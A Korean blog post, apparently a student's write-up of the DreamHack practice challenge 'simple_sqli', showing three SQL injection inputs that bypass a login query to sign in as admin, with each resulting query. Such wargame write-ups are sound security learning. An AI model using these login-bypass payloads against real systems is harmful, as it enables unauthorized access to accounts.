[DreamHack] simple_sqli

yukongs·2023년 9월 14일


simple_sqli는 SQLi나 BSQLi로 풀 수 있는데, BSQLi는 익스플로잇 코드를 짜야해서 SQLi로만 풀었다. 난 언제쯤 익스플로잇 코드를 짤 생각일까
아무튼 로그인 우회하면 풀 수 있다.

admin 계정으로 로그인을 해야한다.
일단 { guest : guest }로 로그인은 된다.

admin 계정으로 로그인을 하기 위해서는 로그인을 우회하여 풀이해야하는데,
1. 주석 처리
2. id쪽에 or 조건 추가해서 참이 되도록 하기
3. pw쪽에 or 조건 추가해서 반환
•••
이 있다.

로그인 쿼리문은

select * from users where userid="{userid}" and userpassword="{userpassword}"

이다.

1. 주석 처리

userid에 admin"-- 을 입력하여 풀 수 있다. -- 뒤는 주석 처리되므로 userpassword엔 아무거나 입력해도 상관없다.

select * from users where userid="admin"-- and userpassword="{userpassword}"

2. id 쪽에 or 조건 추가

이번엔 userid에 admin" or "1 을 입력하여 풀 수 있다.

select * from users where userid="admin" or "1" and userpassword="{userpassword}"

3. password 쪽에 or 조건 추가

or 연산자를 패스워드 쪽에 넣어도 풀 수 있다. 1234" or userid="admin을 추가해보자.

select * from users where userid="admin" and userpassword="1234" or userid="admin"

여기서 주의할 점은.. 그냥 큰따옴표인지 작은따옴표인지 잘 보고 띄어쓰기 조심하면 된다. 담엔 꼭 익스플로잇 코드를 짜봐야겠다.....

profile
보안/개발/대학생

0개의 댓글